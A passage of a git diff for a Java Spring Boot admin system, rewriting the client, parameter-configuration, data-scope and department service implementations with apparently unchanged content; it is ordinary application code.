LambdaUpdateWrapper() + .set(SysClient::getStatus, status) + .eq(SysClient::getClientId, clientId)); + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(SysClient entity) { + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 批量删除客户端管理 + */ + @CacheEvict(cacheNames = CacheNames.SYS_CLIENT, allEntries = true) + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if (isValid) { + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysConfigServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysConfigServiceImpl.java index 3a564da..2ea724c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysConfigServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysConfigServiceImpl.java @@ -1,217 +1,217 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.dynamic.datasource.annotation.DS; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.ConfigService; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.ObjectUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.redis.utils.CacheUtils; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.system.domain.SysConfig; -import org.dromara.system.domain.bo.SysConfigBo; -import org.dromara.system.domain.vo.SysConfigVo; -import org.dromara.system.mapper.SysConfigMapper; -import org.dromara.system.service.ISysConfigService; -import org.springframework.cache.annotation.CachePut; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.stereotype.Service; - -import java.util.Arrays; -import java.util.List; -import java.util.Map; - -/** - * 参数配置 服务层实现 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysConfigServiceImpl implements ISysConfigService, ConfigService { - - private final SysConfigMapper baseMapper; - - @Override - public TableDataInfo selectPageConfigList(SysConfigBo config, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(config); - Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(page); - } - - /** - * 查询参数配置信息 - * - * @param configId 参数配置ID - * @return 参数配置信息 - */ - @Override - @DS("master") - public SysConfigVo selectConfigById(Long configId) { - return baseMapper.selectVoById(configId); - } - - /** - * 根据键名查询参数配置信息 - * - * @param configKey 参数key - * @return 参数键值 - */ - @Cacheable(cacheNames = CacheNames.SYS_CONFIG, key = "#configKey") - @Override - public String selectConfigByKey(String configKey) { - SysConfig retConfig = baseMapper.selectOne(new LambdaQueryWrapper() - .eq(SysConfig::getConfigKey, configKey)); - return ObjectUtils.notNullGetter(retConfig, SysConfig::getConfigValue, StringUtils.EMPTY); - } - - /** - * 获取注册开关 - * @param tenantId 租户id - * @return true开启,false关闭 - */ - @Override - public boolean selectRegisterEnabled(String tenantId) { - SysConfig retConfig = TenantHelper.dynamic(tenantId, () -> { - return baseMapper.selectOne(new LambdaQueryWrapper() - .eq(SysConfig::getConfigKey, "sys.account.registerUser")); - }); - if (ObjectUtil.isNull(retConfig)) { - return false; - } - return Convert.toBool(retConfig.getConfigValue()); - } - - /** - * 查询参数配置列表 - * - * @param config 参数配置信息 - * @return 参数配置集合 - */ - @Override - public List selectConfigList(SysConfigBo config) { - LambdaQueryWrapper lqw = buildQueryWrapper(config); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysConfigBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getConfigName()), SysConfig::getConfigName, bo.getConfigName()); - lqw.eq(StringUtils.isNotBlank(bo.getConfigType()), SysConfig::getConfigType, bo.getConfigType()); - lqw.like(StringUtils.isNotBlank(bo.getConfigKey()), SysConfig::getConfigKey, bo.getConfigKey()); - lqw.between(params.get("beginTime") != null && params.get("endTime") != null, - SysConfig::getCreateTime, params.get("beginTime"), params.get("endTime")); - lqw.orderByAsc(SysConfig::getConfigId); - return lqw; - } - - /** - * 新增参数配置 - * - * @param bo 参数配置信息 - * @return 结果 - */ - @CachePut(cacheNames = CacheNames.SYS_CONFIG, key = "#bo.configKey") - @Override - public String insertConfig(SysConfigBo bo) { - SysConfig config = MapstructUtils.convert(bo, SysConfig.class); - int row = baseMapper.insert(config); - if (row > 0) { - return config.getConfigValue(); - } - throw new ServiceException("操作失败"); - } - - /** - * 修改参数配置 - * - * @param bo 参数配置信息 - * @return 结果 - */ - @CachePut(cacheNames = CacheNames.SYS_CONFIG, key = "#bo.configKey") - @Override - public String updateConfig(SysConfigBo bo) { - int row = 0; - SysConfig config = MapstructUtils.convert(bo, SysConfig.class); - if (config.getConfigId() != null) { - SysConfig temp = baseMapper.selectById(config.getConfigId()); - if (!StringUtils.equals(temp.getConfigKey(), config.getConfigKey())) { - CacheUtils.evict(CacheNames.SYS_CONFIG, temp.getConfigKey()); - } - row = baseMapper.updateById(config); - } else { - CacheUtils.evict(CacheNames.SYS_CONFIG, config.getConfigKey()); - row = baseMapper.update(config, new LambdaQueryWrapper() - .eq(SysConfig::getConfigKey, config.getConfigKey())); - } - if (row > 0) { - return config.getConfigValue(); - } - throw new ServiceException("操作失败"); - } - - /** - * 批量删除参数信息 - * - * @param configIds 需要删除的参数ID - */ - @Override - public void deleteConfigByIds(Long[] configIds) { - for (Long configId : configIds) { - SysConfig config = baseMapper.selectById(configId); - if (StringUtils.equals(SystemConstants.YES, config.getConfigType())) { - throw new ServiceException(String.format("内置参数【%1$s】不能删除 ", config.getConfigKey())); - } - CacheUtils.evict(CacheNames.SYS_CONFIG, config.getConfigKey()); - } - baseMapper.deleteByIds(Arrays.asList(configIds)); - } - - /** - * 重置参数缓存数据 - */ - @Override - public void resetConfigCache() { - CacheUtils.clear(CacheNames.SYS_CONFIG); - } - - /** - * 校验参数键名是否唯一 - * - * @param config 参数配置信息 - * @return 结果 - */ - @Override - public boolean checkConfigKeyUnique(SysConfigBo config) { - long configId = ObjectUtils.notNull(config.getConfigId(), -1L); - SysConfig info = baseMapper.selectOne(new LambdaQueryWrapper().eq(SysConfig::getConfigKey, config.getConfigKey())); - if (ObjectUtil.isNotNull(info) && info.getConfigId() != configId) { - return false; - } - return true; - } - - /** - * 根据参数 key 获取参数值 - * - * @param configKey 参数 key - * @return 参数值 - */ - @Override - public String getConfigValue(String configKey) { - return SpringUtils.getAopProxy(this).selectConfigByKey(configKey); - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.dynamic.datasource.annotation.DS; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.ConfigService; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.ObjectUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.redis.utils.CacheUtils; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.system.domain.SysConfig; +import org.dromara.system.domain.bo.SysConfigBo; +import org.dromara.system.domain.vo.SysConfigVo; +import org.dromara.system.mapper.SysConfigMapper; +import org.dromara.system.service.ISysConfigService; +import org.springframework.cache.annotation.CachePut; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.stereotype.Service; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +/** + * 参数配置 服务层实现 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysConfigServiceImpl implements ISysConfigService, ConfigService { + + private final SysConfigMapper baseMapper; + + @Override + public TableDataInfo selectPageConfigList(SysConfigBo config, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(config); + Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(page); + } + + /** + * 查询参数配置信息 + * + * @param configId 参数配置ID + * @return 参数配置信息 + */ + @Override + @DS("master") + public SysConfigVo selectConfigById(Long configId) { + return baseMapper.selectVoById(configId); + } + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数key + * @return 参数键值 + */ + @Cacheable(cacheNames = CacheNames.SYS_CONFIG, key = "#configKey") + @Override + public String selectConfigByKey(String configKey) { + SysConfig retConfig = baseMapper.selectOne(new LambdaQueryWrapper() + .eq(SysConfig::getConfigKey, configKey)); + return ObjectUtils.notNullGetter(retConfig, SysConfig::getConfigValue, StringUtils.EMPTY); + } + + /** + * 获取注册开关 + * @param tenantId 租户id + * @return true开启,false关闭 + */ + @Override + public boolean selectRegisterEnabled(String tenantId) { + SysConfig retConfig = TenantHelper.dynamic(tenantId, () -> { + return baseMapper.selectOne(new LambdaQueryWrapper() + .eq(SysConfig::getConfigKey, "sys.account.registerUser")); + }); + if (ObjectUtil.isNull(retConfig)) { + return false; + } + return Convert.toBool(retConfig.getConfigValue()); + } + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + @Override + public List selectConfigList(SysConfigBo config) { + LambdaQueryWrapper lqw = buildQueryWrapper(config); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(SysConfigBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getConfigName()), SysConfig::getConfigName, bo.getConfigName()); + lqw.eq(StringUtils.isNotBlank(bo.getConfigType()), SysConfig::getConfigType, bo.getConfigType()); + lqw.like(StringUtils.isNotBlank(bo.getConfigKey()), SysConfig::getConfigKey, bo.getConfigKey()); + lqw.between(params.get("beginTime") != null && params.get("endTime") != null, + SysConfig::getCreateTime, params.get("beginTime"), params.get("endTime")); + lqw.orderByAsc(SysConfig::getConfigId); + return lqw; + } + + /** + * 新增参数配置 + * + * @param bo 参数配置信息 + * @return 结果 + */ + @CachePut(cacheNames = CacheNames.SYS_CONFIG, key = "#bo.configKey") + @Override + public String insertConfig(SysConfigBo bo) { + SysConfig config = MapstructUtils.convert(bo, SysConfig.class); + int row = baseMapper.insert(config); + if (row > 0) { + return config.getConfigValue(); + } + throw new ServiceException("操作失败"); + } + + /** + * 修改参数配置 + * + * @param bo 参数配置信息 + * @return 结果 + */ + @CachePut(cacheNames = CacheNames.SYS_CONFIG, key = "#bo.configKey") + @Override + public String updateConfig(SysConfigBo bo) { + int row = 0; + SysConfig config = MapstructUtils.convert(bo, SysConfig.class); + if (config.getConfigId() != null) { + SysConfig temp = baseMapper.selectById(config.getConfigId()); + if (!StringUtils.equals(temp.getConfigKey(), config.getConfigKey())) { + CacheUtils.evict(CacheNames.SYS_CONFIG, temp.getConfigKey()); + } + row = baseMapper.updateById(config); + } else { + CacheUtils.evict(CacheNames.SYS_CONFIG, config.getConfigKey()); + row = baseMapper.update(config, new LambdaQueryWrapper() + .eq(SysConfig::getConfigKey, config.getConfigKey())); + } + if (row > 0) { + return config.getConfigValue(); + } + throw new ServiceException("操作失败"); + } + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + */ + @Override + public void deleteConfigByIds(Long[] configIds) { + for (Long configId : configIds) { + SysConfig config = baseMapper.selectById(configId); + if (StringUtils.equals(SystemConstants.YES, config.getConfigType())) { + throw new ServiceException(String.format("内置参数【%1$s】不能删除 ", config.getConfigKey())); + } + CacheUtils.evict(CacheNames.SYS_CONFIG, config.getConfigKey()); + } + baseMapper.deleteByIds(Arrays.asList(configIds)); + } + + /** + * 重置参数缓存数据 + */ + @Override + public void resetConfigCache() { + CacheUtils.clear(CacheNames.SYS_CONFIG); + } + + /** + * 校验参数键名是否唯一 + * + * @param config 参数配置信息 + * @return 结果 + */ + @Override + public boolean checkConfigKeyUnique(SysConfigBo config) { + long configId = ObjectUtils.notNull(config.getConfigId(), -1L); + SysConfig info = baseMapper.selectOne(new LambdaQueryWrapper().eq(SysConfig::getConfigKey, config.getConfigKey())); + if (ObjectUtil.isNotNull(info) && info.getConfigId() != configId) { + return false; + } + return true; + } + + /** + * 根据参数 key 获取参数值 + * + * @param configKey 参数 key + * @return 参数值 + */ + @Override + public String getConfigValue(String configKey) { + return SpringUtils.getAopProxy(this).selectConfigByKey(configKey); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDataScopeServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDataScopeServiceImpl.java index 470646f..56ef4a0 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDataScopeServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDataScopeServiceImpl.java @@ -1,78 +1,78 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysRoleDept; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysRoleDeptMapper; -import org.dromara.system.service.ISysDataScopeService; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.stereotype.Service; - -import java.util.List; - -/** - * 数据权限 实现 - *

- * 注意: 此Service内不允许调用标注`数据权限`注解的方法 - * 例如: deptMapper.selectList 此 selectList 方法标注了`数据权限`注解 会出现循环解析的问题 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service("sdss") -public class SysDataScopeServiceImpl implements ISysDataScopeService { - - private final SysRoleDeptMapper roleDeptMapper; - private final SysDeptMapper deptMapper; - - /** - * 获取角色自定义权限 - * - * @param roleId 角色Id - * @return 部门Id组 - */ - @Cacheable(cacheNames = CacheNames.SYS_ROLE_CUSTOM, key = "#roleId") - @Override - public String getRoleCustom(Long roleId) { - if (ObjectUtil.isNull(roleId)) { - return "-1"; - } - List list = roleDeptMapper.selectList( - new LambdaQueryWrapper() - .select(SysRoleDept::getDeptId) - .eq(SysRoleDept::getRoleId, roleId)); - if (CollUtil.isNotEmpty(list)) { - return StreamUtils.join(list, rd -> Convert.toStr(rd.getDeptId())); - } - return "-1"; - } - - /** - * 获取部门及以下权限 - * - * @param deptId 部门Id - * @return 部门Id组 - */ - @Cacheable(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, key = "#deptId") - @Override - public String getDeptAndChild(Long deptId) { - if (ObjectUtil.isNull(deptId)) { - return "-1"; - } - List deptList = deptMapper.selectListByParentId(deptId); - List ids = StreamUtils.toList(deptList, SysDept::getDeptId); - ids.add(deptId); - if (CollUtil.isNotEmpty(ids)) { - return StreamUtils.join(ids, Convert::toStr); - } - return "-1"; - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysRoleDept; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysRoleDeptMapper; +import org.dromara.system.service.ISysDataScopeService; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 数据权限 实现 + *

+ * 注意: 此Service内不允许调用标注`数据权限`注解的方法 + * 例如: deptMapper.selectList 此 selectList 方法标注了`数据权限`注解 会出现循环解析的问题 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service("sdss") +public class SysDataScopeServiceImpl implements ISysDataScopeService { + + private final SysRoleDeptMapper roleDeptMapper; + private final SysDeptMapper deptMapper; + + /** + * 获取角色自定义权限 + * + * @param roleId 角色Id + * @return 部门Id组 + */ + @Cacheable(cacheNames = CacheNames.SYS_ROLE_CUSTOM, key = "#roleId") + @Override + public String getRoleCustom(Long roleId) { + if (ObjectUtil.isNull(roleId)) { + return "-1"; + } + List list = roleDeptMapper.selectList( + new LambdaQueryWrapper() + .select(SysRoleDept::getDeptId) + .eq(SysRoleDept::getRoleId, roleId)); + if (CollUtil.isNotEmpty(list)) { + return StreamUtils.join(list, rd -> Convert.toStr(rd.getDeptId())); + } + return "-1"; + } + + /** + * 获取部门及以下权限 + * + * @param deptId 部门Id + * @return 部门Id组 + */ + @Cacheable(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, key = "#deptId") + @Override + public String getDeptAndChild(Long deptId) { + if (ObjectUtil.isNull(deptId)) { + return "-1"; + } + List deptList = deptMapper.selectListByParentId(deptId); + List ids = StreamUtils.toList(deptList, SysDept::getDeptId); + ids.add(deptId); + if (CollUtil.isNotEmpty(ids)) { + return StreamUtils.join(ids, Convert::toStr); + } + return "-1"; + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDeptServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDeptServiceImpl.java index a3f0b6f..655ef5d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDeptServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDeptServiceImpl.java @@ -1,358 +1,358 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.lang.tree.Tree; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.DeptService; -import org.dromara.common.core.utils.*; -import org.dromara.common.mybatis.helper.DataBaseHelper; -import org.dromara.common.redis.utils.CacheUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysRole; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.vo.SysDeptVo; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysRoleMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.system.service.ISysDeptService; -import org.springframework.cache.annotation.CacheEvict; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.cache.annotation.Caching; -import org.springframework.stereotype.Service; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; - -/** - * 部门管理 服务实现 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysDeptServiceImpl implements ISysDeptService, DeptService { - - private final SysDeptMapper baseMapper; - private final SysRoleMapper roleMapper; - private final SysUserMapper userMapper; - - /** - * 查询部门管理数据 - * - * @param dept 部门信息 - * @return 部门信息集合 - */ - @Override - public List selectDeptList(SysDeptBo dept) { - LambdaQueryWrapper lqw = buildQueryWrapper(dept); - return baseMapper.selectDeptList(lqw); - } - - /** - * 查询部门树结构信息 - * - * @param bo 部门信息 - * @return 部门树信息集合 - */ - @Override - public List> selectDeptTreeList(SysDeptBo bo) { - // 只查询未禁用部门 - bo.setStatus(SystemConstants.NORMAL); - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - List depts = baseMapper.selectDeptList(lqw); - return buildDeptTreeSelect(depts); - } - - private LambdaQueryWrapper buildQueryWrapper(SysDeptBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(SysDept::getDelFlag, SystemConstants.NORMAL); - lqw.eq(ObjectUtil.isNotNull(bo.getDeptId()), SysDept::getDeptId, bo.getDeptId()); - lqw.eq(ObjectUtil.isNotNull(bo.getParentId()), SysDept::getParentId, bo.getParentId()); - lqw.like(StringUtils.isNotBlank(bo.getDeptName()), SysDept::getDeptName, bo.getDeptName()); - lqw.like(StringUtils.isNotBlank(bo.getDeptCategory()), SysDept::getDeptCategory, bo.getDeptCategory()); - lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysDept::getStatus, bo.getStatus()); - lqw.orderByAsc(SysDept::getAncestors); - lqw.orderByAsc(SysDept::getParentId); - lqw.orderByAsc(SysDept::getOrderNum); - lqw.orderByAsc(SysDept::getDeptId); - return lqw; - } - - /** - * 构建前端所需要下拉树结构 - * - * @param depts 部门列表 - * @return 下拉树结构列表 - */ - @Override - public List> buildDeptTreeSelect(List depts) { - if (CollUtil.isEmpty(depts)) { - return CollUtil.newArrayList(); - } - // 获取当前列表中每一个节点的parentId,然后在列表中查找是否有id与其parentId对应,若无对应,则表明此时节点列表中,该节点在当前列表中属于顶级节点 - List> treeList = CollUtil.newArrayList(); - for (SysDeptVo d : depts) { - Long parentId = d.getParentId(); - SysDeptVo sysDeptVo = StreamUtils.findFirst(depts, it -> it.getDeptId().longValue() == parentId); - if (ObjectUtil.isNull(sysDeptVo)) { - List> trees = TreeBuildUtils.build(depts, parentId, (dept, tree) -> - tree.setId(dept.getDeptId()) - .setParentId(dept.getParentId()) - .setName(dept.getDeptName()) - .setWeight(dept.getOrderNum())); - Tree tree = trees.stream().filter(it -> it.getId().longValue() == d.getDeptId()).findFirst().get(); - treeList.add(tree); - } - } - return treeList; - } - - /** - * 根据角色ID查询部门树信息 - * - * @param roleId 角色ID - * @return 选中部门列表 - */ - @Override - public List selectDeptListByRoleId(Long roleId) { - SysRole role = roleMapper.selectById(roleId); - return baseMapper.selectDeptListByRoleId(roleId, role.getDeptCheckStrictly()); - } - - /** - * 根据部门ID查询信息 - * - * @param deptId 部门ID - * @return 部门信息 - */ - @Cacheable(cacheNames = CacheNames.SYS_DEPT, key = "#deptId") - @Override - public SysDeptVo selectDeptById(Long deptId) { - SysDeptVo dept = baseMapper.selectVoById(deptId); - if (ObjectUtil.isNull(dept)) { - return null; - } - SysDeptVo parentDept = baseMapper.selectVoOne(new LambdaQueryWrapper() - .select(SysDept::getDeptName).eq(SysDept::getDeptId, dept.getParentId())); - dept.setParentName(ObjectUtils.notNullGetter(parentDept, SysDeptVo::getDeptName)); - return dept; - } - - @Override - public List selectDeptByIds(List deptIds) { - return baseMapper.selectDeptList(new LambdaQueryWrapper() - .select(SysDept::getDeptId, SysDept::getDeptName, SysDept::getLeader) - .eq(SysDept::getStatus, SystemConstants.NORMAL) - .in(CollUtil.isNotEmpty(deptIds), SysDept::getDeptId, deptIds)); - } - - /** - * 通过部门ID查询部门名称 - * - * @param deptIds 部门ID串逗号分隔 - * @return 部门名称串逗号分隔 - */ - @Override - public String selectDeptNameByIds(String deptIds) { - List list = new ArrayList<>(); - for (Long id : StringUtils.splitTo(deptIds, Convert::toLong)) { - SysDeptVo vo = SpringUtils.getAopProxy(this).selectDeptById(id); - if (ObjectUtil.isNotNull(vo)) { - list.add(vo.getDeptName()); - } - } - return String.join(StringUtils.SEPARATOR, list); - } - - /** - * 根据ID查询所有子部门数(正常状态) - * - * @param deptId 部门ID - * @return 子部门数 - */ - @Override - public long selectNormalChildrenDeptById(Long deptId) { - return baseMapper.selectCount(new LambdaQueryWrapper() - .eq(SysDept::getStatus, SystemConstants.NORMAL) - .apply(DataBaseHelper.findInSet(deptId, "ancestors"))); - } - - /** - * 是否存在子节点 - * - * @param deptId 部门ID - * @return 结果 - */ - @Override - public boolean hasChildByDeptId(Long deptId) { - return baseMapper.exists(new LambdaQueryWrapper() - .eq(SysDept::getParentId, deptId)); - } - - /** - * 查询部门是否存在用户 - * - * @param deptId 部门ID - * @return 结果 true 存在 false 不存在 - */ - @Override - public boolean checkDeptExistUser(Long deptId) { - return userMapper.exists(new LambdaQueryWrapper() - .eq(SysUser::getDeptId, deptId)); - } - - /** - * 校验部门名称是否唯一 - * - * @param dept 部门信息 - * @return 结果 - */ - @Override - public boolean checkDeptNameUnique(SysDeptBo dept) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysDept::getDeptName, dept.getDeptName()) - .eq(SysDept::getParentId, dept.getParentId()) - .ne(ObjectUtil.isNotNull(dept.getDeptId()), SysDept::getDeptId, dept.getDeptId())); - return !exist; - } - - /** - * 校验部门是否有数据权限 - * - * @param deptId 部门id - */ - @Override - public void checkDeptDataScope(Long deptId) { - if (ObjectUtil.isNull(deptId)) { - return; - } - if (LoginHelper.isSuperAdmin()) { - return; - } - if (baseMapper.countDeptById(deptId) == 0) { - throw new ServiceException("没有权限访问部门数据!"); - } - } - - /** - * 新增保存部门信息 - * - * @param bo 部门信息 - * @return 结果 - */ - @CacheEvict(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, allEntries = true) - @Override - public int insertDept(SysDeptBo bo) { - SysDept info = baseMapper.selectById(bo.getParentId()); - // 如果父节点不为正常状态,则不允许新增子节点 - if (!SystemConstants.NORMAL.equals(info.getStatus())) { - throw new ServiceException("部门停用,不允许新增"); - } - SysDept dept = MapstructUtils.convert(bo, SysDept.class); - dept.setAncestors(info.getAncestors() + StringUtils.SEPARATOR + dept.getParentId()); - return baseMapper.insert(dept); - } - - /** - * 修改保存部门信息 - * - * @param bo 部门信息 - * @return 结果 - */ - @Caching(evict = { - @CacheEvict(cacheNames = CacheNames.SYS_DEPT, key = "#bo.deptId"), - @CacheEvict(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, allEntries = true) - }) - @Override - public int updateDept(SysDeptBo bo) { - SysDept dept = MapstructUtils.convert(bo, SysDept.class); - SysDept oldDept = baseMapper.selectById(dept.getDeptId()); - if (ObjectUtil.isNull(oldDept)) { - throw new ServiceException("部门不存在,无法修改"); - } - if (!oldDept.getParentId().equals(dept.getParentId())) { - // 如果是新父部门 则校验是否具有新父部门权限 避免越权 - this.checkDeptDataScope(dept.getParentId()); - SysDept newParentDept = baseMapper.selectById(dept.getParentId()); - if (ObjectUtil.isNotNull(newParentDept)) { - String newAncestors = newParentDept.getAncestors() + StringUtils.SEPARATOR + newParentDept.getDeptId(); - String oldAncestors = oldDept.getAncestors(); - dept.setAncestors(newAncestors); - updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors); - } - } else { - dept.setAncestors(oldDept.getAncestors()); - } - int result = baseMapper.updateById(dept); - if (SystemConstants.NORMAL.equals(dept.getStatus()) && StringUtils.isNotEmpty(dept.getAncestors()) - && !StringUtils.equals(SystemConstants.NORMAL, dept.getAncestors())) { - // 如果该部门是启用状态,则启用该部门的所有上级部门 - updateParentDeptStatusNormal(dept); - } - return result; - } - - /** - * 修改该部门的父级部门状态 - * - * @param dept 当前部门 - */ - private void updateParentDeptStatusNormal(SysDept dept) { - String ancestors = dept.getAncestors(); - Long[] deptIds = Convert.toLongArray(ancestors); - baseMapper.update(null, new LambdaUpdateWrapper() - .set(SysDept::getStatus, SystemConstants.NORMAL) - .in(SysDept::getDeptId, Arrays.asList(deptIds))); - } - - /** - * 修改子元素关系 - * - * @param deptId 被修改的部门ID - * @param newAncestors 新的父ID集合 - * @param oldAncestors 旧的父ID集合 - */ - private void updateDeptChildren(Long deptId, String newAncestors, String oldAncestors) { - List children = baseMapper.selectList(new LambdaQueryWrapper() - .apply(DataBaseHelper.findInSet(deptId, "ancestors"))); - List list = new ArrayList<>(); - for (SysDept child : children) { - SysDept dept = new SysDept(); - dept.setDeptId(child.getDeptId()); - dept.setAncestors(child.getAncestors().replaceFirst(oldAncestors, newAncestors)); - list.add(dept); - } - if (CollUtil.isNotEmpty(list)) { - if (baseMapper.updateBatchById(list)) { - list.forEach(dept -> CacheUtils.evict(CacheNames.SYS_DEPT, dept.getDeptId())); - } - } - } - - /** - * 删除部门管理信息 - * - * @param deptId 部门ID - * @return 结果 - */ - @Caching(evict = { - @CacheEvict(cacheNames = CacheNames.SYS_DEPT, key = "#deptId"), - @CacheEvict(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, key = "#deptId") - }) - @Override - public int deleteDeptById(Long deptId) { - return baseMapper.deleteById(deptId); - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.lang.tree.Tree; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.constant.SystemConstants; +import 